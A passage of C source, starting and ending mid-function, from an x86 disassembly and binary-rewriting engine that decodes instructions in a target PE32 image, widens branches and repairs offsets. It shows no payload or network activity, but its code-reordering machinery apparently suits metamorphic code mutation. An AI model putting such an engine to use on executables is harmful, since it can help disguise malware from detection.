        pCurrentX86InstructionAbstraction->dwInstructionOffset=(dwTargetPE32Offset - (pTargetImageSectionHeader + dwCodeSectionIndex)->PointerToRawData);
    }
    
    pCodeX86InstructionAbstractionTable->dwTotalCodeSize=dwCodePoolSize;
    
    for(pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction!= NULL; pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
    {
        if(pRelocationAbstractions != NULL)
        {
            pCurrentRelocationAbstraction=pRelocationAbstractions;
                
            while(pCurrentRelocationAbstraction != NULL)
            {
                if(pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex == dwCodeSectionIndex)
                {
                    // Potentially associate absolute address reference and current instruction
                    
                    nAbsoluteAddressInstructionOffset=(pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset - pCurrentX86InstructionAbstraction->dwInstructionOffset);
                    
                    if(nAbsoluteAddressInstructionOffset == 0)
                    {                              
                        pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentX86InstructionAbstraction;
                        pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE;
                        pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress;
                    }
                    else if(pCurrentRelocationAbstraction->pLocationSymbol != NULL && nAbsoluteAddressInstructionOffset == 4)
                    {
                        pSwitchReferenceInstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
    
                        // Verify that the offset represents a switch address table
                        
                        for(nAbsoluteAddressInstructionOffset=-4, pTemporaryX86InstructionAbstraction=pCurrentX86InstructionAbstraction; nAbsoluteAddressInstructionOffset < 4; pTemporaryX86InstructionAbstraction=pTemporaryX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
                        {
                            if(pTemporaryX86InstructionAbstraction->dwInstructionLength == 0)
                            {
                                nAbsoluteAddressInstructionOffset += pTemporaryX86InstructionAbstraction->dwDataSize;
                            }
                            else
                            {
                                nAbsoluteAddressInstructionOffset += pTemporaryX86InstructionAbstraction->dwInstructionLength;
                            }
                        }
    
                        if(nAbsoluteAddressInstructionOffset == 4 && pTemporaryX86InstructionAbstraction->dwDataSize == 4 && pTemporaryX86InstructionAbstraction->pDataRelocationAbstraction != NULL && pTemporaryX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pTemporaryX86InstructionAbstraction)
                        {
                            pSwitchTableInstructionAbstraction=pTemporaryX86InstructionAbstraction;
                            
                            if((pSwitchReferenceInstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown/*|X86InstructionExtendedFlagCallBranch*/)) == (X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagBranchUnknown))
                            {
                                // Mark all instructions/data between the current instruction and the switch address table
                                
                                for(pTemporaryX86InstructionAbstraction=pCurrentX86InstructionAbstraction; pTemporaryX86InstructionAbstraction != pSwitchTableInstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pTemporaryX86InstructionAbstraction=pTemporaryX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
                                {
                                    pTemporaryX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSwitch;
                                }
                                
                                pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentX86InstructionAbstraction;
                                pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE;
                                pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress;
                                pCurrentX86InstructionAbstraction->dwReferencedAddressOffset=4;
                            }
                        }
                    }
                    else if(nAbsoluteAddressInstructionOffset > 0 && nAbsoluteAddressInstructionOffset < (pCurrentX86InstructionAbstraction->dwDataSize == 0 ? pCurrentX86InstructionAbstraction->dwInstructionLength : pCurrentX86InstructionAbstraction->dwDataSize))
                    {   
                        dwDisassemblyStatus=DISASSEMBLY_STATUS_FATAL_ERROR;
                    }
                }
                
                pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation;
            }
        }
    }
        
    return pCodeX86InstructionAbstractionTable;
}

VOID
FreeX86CodeAbstractions
(PAPI_TABLE pAPITable, PX86_CODE_ABSTRACTION_TABLE pCodeAbstractionTable)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pNextX86InstructionAbstraction;
    
    if(pCodeAbstractionTable != NULL)
    {
        for(pCurrentX86InstructionAbstraction=pCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentX86InstructionAbstraction != NULL; pCurrentX86InstructionAbstraction=pNextX86InstructionAbstraction)
        {
            pNextX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
            
            pAPITable->GlobalFree(pCurrentX86InstructionAbstraction);
        }
        
        pAPITable->GlobalFree(pCodeAbstractionTable);
    }
    
    return;
}

BOOL
ExtendEtherealX86BranchInstructions
(PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction, pDestinationX86InstructionAbstraction=NULL;
    LONG lRelativeDestinationOffset=0;
    
    // Extend all 8-bit branches to 32-bit
    
    while(pCurrentX86InstructionAbstraction != NULL)
    {
        pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree;
        
        if(pCurrentX86InstructionAbstraction->dwDataSize == 0)
        {
            if(pDestinationX86InstructionAbstraction != NULL)
            {
                lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength));
                
                if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8))
                {
                    // 8->32-bit opcode and operand
                    
                    if(pCurrentX86InstructionAbstraction->Data[0] >= 0x70 && pCurrentX86InstructionAbstraction->Data[0] <= 0x7F) // Jcc8
                    {
                        pCurrentX86InstructionAbstraction->Data[1]=(0x80 + (pCurrentX86InstructionAbstraction->Data[0] - 0x70)); // Build new Jcc based on old type
                        pCurrentX86InstructionAbstraction->Data[0]=0x0F; // Add double opcode prefix  
                        
                        pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[1];
                        pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagPrefix0F;                             
                        pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagConditionalBranch;
                        
                        pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=1;
                    }
                    else if(pCurrentX86InstructionAbstraction->Data[0] == 0xEB) // Jmp8
                    {
                        pCurrentX86InstructionAbstraction->Data[0]=0xE9; // Jmp32
                        
                        pCurrentX86InstructionAbstraction->Opcode=0xE9;
                        pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32;   
                        pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagUnConditionalBranch;
                    }
                    else if(pCurrentX86InstructionAbstraction->Data[0] == 0xE3)
                    {
                        return FALSE; // Jecxz has no 32bit equivilent
                    }
                    
                    *(PLONG)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0;
                    
                    pCurrentX86InstructionAbstraction->dwInstructionLength=(5 + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes);
                }
            }
        }
        
        pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }
    
    return TRUE;
}

DWORD
IdentifyEtherealX86BranchCorrespondences
(PX86_INSTRUCTION_ABSTRACTION pCodeX86InstructionAbstractions)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractions, pPotentialDestinationX86InstructionAbstraction=NULL;
    LONG lNonRelativeBranchDestinationOffset=0;
    DWORD dwBranchCorrespondenceCount=0;
    
    while(pCurrentX86InstructionAbstraction != NULL)
    {
        if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch) && !(pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown))
        {
            lNonRelativeBranchDestinationOffset=(pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength) + pCurrentX86InstructionAbstraction->lBranchDestinationOffset;
            pPotentialDestinationX86InstructionAbstraction=pCodeX86InstructionAbstractions;
            
            while(pPotentialDestinationX86InstructionAbstraction != NULL)
            {
                if(pPotentialDestinationX86InstructionAbstraction->dwInstructionOffset == lNonRelativeBranchDestinationOffset)
                {
                    pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree=pPotentialDestinationX86InstructionAbstraction;
                    
                    pPotentialDestinationX86InstructionAbstraction->pReferencingX86InstructionAbstractionBranch=pCurrentX86InstructionAbstraction;
                    pPotentialDestinationX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagReferencedAddress;
                    
                    dwBranchCorrespondenceCount++;
                    
                    break;
                }
                                                                  
                pPotentialDestinationX86InstructionAbstraction=pPotentialDestinationX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
            }
            
            if(pPotentialDestinationX86InstructionAbstraction == NULL)
            {
                //
            }
        }
        
        pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }
    
    return 0;
}

VOID
ReCalculateX86InstructionOffsets
(PX86_CODE_ABSTRACTION_TABLE pCodeX86InstructionAbstractionTable)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction, pDestinationX86InstructionAbstraction;
    LONG lRelativeDestinationOffset;
    
    for(pCodeX86InstructionAbstractionTable->dwNumberOfInstructions=0, pCodeX86InstructionAbstractionTable->dwTotalCodeSize=0; pCurrentX86InstructionAbstraction != NULL; pCodeX86InstructionAbstractionTable->dwNumberOfInstructions++)
    {
        pCurrentX86InstructionAbstraction->dwInstructionOffset=pCodeX86InstructionAbstractionTable->dwTotalCodeSize;
        
        if(pCurrentX86InstructionAbstraction->dwDataSize == 0)
        {
            pCodeX86InstructionAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwInstructionLength;
        }
        else
        {
            pCodeX86InstructionAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwDataSize;
        }
        
        pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }
    
    // Repair branch offsets to reflect new instruction offsets
    
    pCurrentX86InstructionAbstraction=pCodeX86InstructionAbstractionTable->pInitialX86InstructionAbstraction;
    
    while(pCurrentX86InstructionAbstraction != NULL)
    {
        pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree;

        if(pCurrentX86InstructionAbstraction->dwDataSize == 0)
        {
            if(pDestinationX86InstructionAbstraction != NULL)
            {
                lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength));
                
                if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8))
                {
                    (CHAR)pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(CHAR)lRelativeDestinationOffset;
                }
                else if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32))
                {
                    *(PDWORD)&pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=lRelativeDestinationOffset;
                }
                
                pCurrentX86InstructionAbstraction->lBranchDestinationOffset=lRelativeDestinationOffset;
            }
        }
        
        pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }
    
    return;
}

PX86_INSTRUCTION_ABSTRACTION
IdentifyX86Instruction
(PAPI_TABLE pAPITable, PBYTE pCodePool, DWORD dwCodePoolOffset)
{
    PBYTE pInstructionOffset=(pCodePool + dwCodePoolOffset);
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
    
    if(pCurrentX86InstructionAbstraction == NULL)
    {
        // System memory limit is likely to have been exceeded
        
        return NULL;
    }
    
    // Identify prefix and opcode bytes
    
    for(pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=0;; pCurrentX86InstructionAbstraction->dwNumberOfPrefixes++)
    {          
        pCurrentX86InstructionAbstraction->Opcode=*pInstructionOffset++;
    
        if(pCurrentX86InstructionAbstraction->Opcode == 0x26 || pCurrentX86InstructionAbstraction->Opcode == 0x2E || pCurrentX86InstructionAbstraction->Opcode == 0x36 || pCurrentX86InstructionAbstraction->Opcode == 0x3E || (pCurrentX86InstructionAbstraction->Opcode > 0x63 && pCurrentX86InstructionAbstraction->Opcode < 0x68) || pCurrentX86InstructionAbstraction->Opcode == 0xF0 || pCurrentX86InstructionAbstraction->Opcode == 0xF2 || pCurrentX86InstructionAbstraction->Opcode == 0xF3 || pCurrentX86InstructionAbstraction->Opcode == 0x0F)
        {
            // Prefix byte
        
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix;
        
            if(pCurrentX86InstructionAbstraction->Opcode == 0x66)
            {
                pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix66;
            }
            else if(pCurrentX86InstructionAbstraction->Opcode == 0x67)
            {
                pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix67;
            }
            else if(pCurrentX86InstructionAbstraction->Opcode == 0x0F)
            {
                pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagPrefix0F;
            }
        }
        else
        {
            break;
        }
    }
    
    // For efficiency and sometimes necessity, analyze opcode bits
    
    pCurrentX86InstructionAbstraction->WBitOpcode=(pCurrentX86InstructionAbstraction->Opcode & 0xFE);
    pCurrentX86InstructionAbstraction->WBit=(pCurrentX86InstructionAbstraction->Opcode & 0x01);
    
    pCurrentX86InstructionAbstraction->DBitOpcode=(pCurrentX86InstructionAbstraction->Opcode & 0xFC);
    pCurrentX86InstructionAbstraction->DBit=(pCurrentX86InstructionAbstraction->Opcode & 0x02) >> 1;
    
    if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
    {
        // Set essential 0F extended opcode table instruction attribute flags
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || pCurrentX86InstructionAbstraction->Opcode == 0x10 || pCurrentX86InstructionAbstraction->Opcode == 0x28 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x4E || pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F || (pCurrentX86InstructionAbstraction->Opcode >= 0x90 && pCurrentX86InstructionAbstraction->Opcode <= 0x9F) || (pCurrentX86InstructionAbstraction->Opcode >= 0xA3 && pCurrentX86InstructionAbstraction->Opcode <= 0xA5) || (pCurrentX86InstructionAbstraction->Opcode >= 0xAB && pCurrentX86InstructionAbstraction->Opcode <= 0xB7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xBA && pCurrentX86InstructionAbstraction->Opcode <= 0xC1) || pCurrentX86InstructionAbstraction->Opcode == 0xEF)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x07 || pCurrentX86InstructionAbstraction->Opcode == 0x0E || pCurrentX86InstructionAbstraction->Opcode == 0x0F || (pCurrentX86InstructionAbstraction->Opcode >= 0x11 && pCurrentX86InstructionAbstraction->Opcode <= 0x27) || (pCurrentX86InstructionAbstraction->Opcode >= 0x29 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x2D && pCurrentX86InstructionAbstraction->Opcode <= 0x4D) || (pCurrentX86InstructionAbstraction->Opcode >= 0x4F && pCurrentX86InstructionAbstraction->Opcode <= 0x6D) || (pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7D) || pCurrentX86InstructionAbstraction->Opcode == 0xA6 || pCurrentX86InstructionAbstraction->Opcode == 0xA7 || pCurrentX86InstructionAbstraction->Opcode == 0xB8 || (pCurrentX86InstructionAbstraction->Opcode >= 0xC2 && pCurrentX86InstructionAbstraction->Opcode <= 0xC7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xEE) || (pCurrentX86InstructionAbstraction->Opcode >= 0xF0 && pCurrentX86InstructionAbstraction->Opcode <= 0xFF))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagError;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xA4 || pCurrentX86InstructionAbstraction->Opcode == 0xAC || pCurrentX86InstructionAbstraction->Opcode == 0xBA)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xB6 || pCurrentX86InstructionAbstraction->Opcode == 0xB7 || pCurrentX86InstructionAbstraction->Opcode == 0xBE || pCurrentX86InstructionAbstraction->Opcode == 0xBF)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x10 || pCurrentX86InstructionAbstraction->Opcode == 0x28 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F || pCurrentX86InstructionAbstraction->Opcode == 0xEF)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagXMM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x6E || pCurrentX86InstructionAbstraction->Opcode == 0x6F || pCurrentX86InstructionAbstraction->Opcode == 0x7E || pCurrentX86InstructionAbstraction->Opcode == 0x7F)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagEffectiveAddressReversed;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F))
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch32|X86InstructionExtendedFlagConditionalBranch;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x90 && pCurrentX86InstructionAbstraction->Opcode <= 0x9F))
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xA2)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagIsolatedVerb;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xA5)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagInvisibleRegister;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xAC)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag2xReg32Constant;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xAE)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xB6 || pCurrentX86InstructionAbstraction->Opcode == 0xB7 || pCurrentX86InstructionAbstraction->Opcode == 0xBE || pCurrentX86InstructionAbstraction->Opcode == 0xBF)
        {
            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagSignExtended|X86InstructionExtendedFlagRegistersReversed;
        }
    }
    else
    {
        // Set essential standard opcode table instruction attribute flags
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || pCurrentX86InstructionAbstraction->Opcode == 0x63 || pCurrentX86InstructionAbstraction->Opcode == 0x64 || pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x6B || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8F) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || (pCurrentX86InstructionAbstraction->Opcode >= 0xC4 && pCurrentX86InstructionAbstraction->Opcode <= 0xC7) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || (pCurrentX86InstructionAbstraction->Opcode >= 0xD8 && pCurrentX86InstructionAbstraction->Opcode <= 0xDF) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0x00 && pCurrentX86InstructionAbstraction->Opcode <= 0x03) || (pCurrentX86InstructionAbstraction->Opcode >= 0x08 && pCurrentX86InstructionAbstraction->Opcode <= 0x0B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x10 && pCurrentX86InstructionAbstraction->Opcode <= 0x13) || (pCurrentX86InstructionAbstraction->Opcode >= 0x18 && pCurrentX86InstructionAbstraction->Opcode <= 0x1B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x20 && pCurrentX86InstructionAbstraction->Opcode <= 0x23) || (pCurrentX86InstructionAbstraction->Opcode >= 0x28 && pCurrentX86InstructionAbstraction->Opcode <= 0x2B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x30 && pCurrentX86InstructionAbstraction->Opcode <= 0x33) || (pCurrentX86InstructionAbstraction->Opcode >= 0x38 && pCurrentX86InstructionAbstraction->Opcode <= 0x3B) || (pCurrentX86InstructionAbstraction->Opcode >= 0x80 && pCurrentX86InstructionAbstraction->Opcode <= 0x8B) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || pCurrentX86InstructionAbstraction->Opcode == 0xC6 || pCurrentX86InstructionAbstraction->Opcode == 0xC7 || (pCurrentX86InstructionAbstraction->Opcode >= 0xD0 && pCurrentX86InstructionAbstraction->Opcode <= 0xD3) || pCurrentX86InstructionAbstraction->Opcode == 0xF6 || pCurrentX86InstructionAbstraction->Opcode == 0xF7 || pCurrentX86InstructionAbstraction->Opcode == 0xFE || pCurrentX86InstructionAbstraction->Opcode == 0xFF)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x04 || pCurrentX86InstructionAbstraction->Opcode == 0x05 || pCurrentX86InstructionAbstraction->Opcode == 0x0C || pCurrentX86InstructionAbstraction->Opcode == 0x0D || pCurrentX86InstructionAbstraction->Opcode == 0x14 || pCurrentX86InstructionAbstraction->Opcode == 0x15 || pCurrentX86InstructionAbstraction->Opcode == 0x1C || pCurrentX86InstructionAbstraction->Opcode == 0x1D || pCurrentX86InstructionAbstraction->Opcode == 0x24 || pCurrentX86InstructionAbstraction->Opcode == 0x25 || pCurrentX86InstructionAbstraction->Opcode == 0x2C || pCurrentX86InstructionAbstraction->Opcode == 0x2D || pCurrentX86InstructionAbstraction->Opcode == 0x34 || pCurrentX86InstructionAbstraction->Opcode == 0x35 || pCurrentX86InstructionAbstraction->Opcode == 0x3C || pCurrentX86InstructionAbstraction->Opcode == 0x3D || pCurrentX86InstructionAbstraction->Opcode == 0xA8 || pCurrentX86InstructionAbstraction->Opcode == 0xA9)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagDataWBit;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x60 || pCurrentX86InstructionAbstraction->Opcode == 0x61 || pCurrentX86InstructionAbstraction->Opcode == 0xA4 || pCurrentX86InstructionAbstraction->Opcode == 0xA5 || (pCurrentX86InstructionAbstraction->Opcode >= 0xAA && pCurrentX86InstructionAbstraction->Opcode <= 0xAF))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagVerbWBit;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x68 || pCurrentX86InstructionAbstraction->Opcode == 0x69 || pCurrentX86InstructionAbstraction->Opcode == 0x81 || pCurrentX86InstructionAbstraction->Opcode == 0x9A || (pCurrentX86InstructionAbstraction->Opcode >= 0xB8 && pCurrentX86InstructionAbstraction->Opcode <= 0xBF) || pCurrentX86InstructionAbstraction->Opcode == 0xC7 || (pCurrentX86InstructionAbstraction->Opcode >= 0xE8 && pCurrentX86InstructionAbstraction->Opcode <= 0xEA))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData66;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x6A || pCurrentX86InstructionAbstraction->Opcode == 0x6B || (pCurrentX86InstructionAbstraction->Opcode >= 0x70 && pCurrentX86InstructionAbstraction->Opcode <= 0x7F) || pCurrentX86InstructionAbstraction->Opcode == 0x80 || pCurrentX86InstructionAbstraction->Opcode == 0x82 || pCurrentX86InstructionAbstraction->Opcode == 0x83 || (pCurrentX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentX86InstructionAbstraction->Opcode <= 0xB7) || pCurrentX86InstructionAbstraction->Opcode == 0xC0 || pCurrentX86InstructionAbstraction->Opcode == 0xC1 || pCurrentX86InstructionAbstraction->Opcode == 0xC6 ||pCurrentX86InstructionAbstraction->Opcode == 0xC8 || (pCurrentX86InstructionAbstraction->Opcode >= 0xE0 && pCurrentX86InstructionAbstraction->Opcode <= 0xE7) || pCurrentX86InstructionAbstraction->Opcode == 0xEB)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8; 
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0x9A || pCurrentX86InstructionAbstraction->Opcode == 0xEA)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory16;
        }
        
        if((pCurrentX86InstructionAbstraction->Opcode >= 0xA0 && pCurrentX86InstructionAbstraction->Opcode <= 0xA3))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagMemory67;
        }

        if((pCurrentX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentX86InstructionAbstraction->Opcode <= 0xBF))
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagRegWBit;
        }
        
        if(pCurrentX86InstructionAbstraction->Opcode == 0xC2 || pCurrentX86InstructionAbstraction->Opcode == 0xC8 || pCurrentX86InstructionAbstraction->Opcode == 0xCA)
        {
            pCurrentX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16;
        }
        
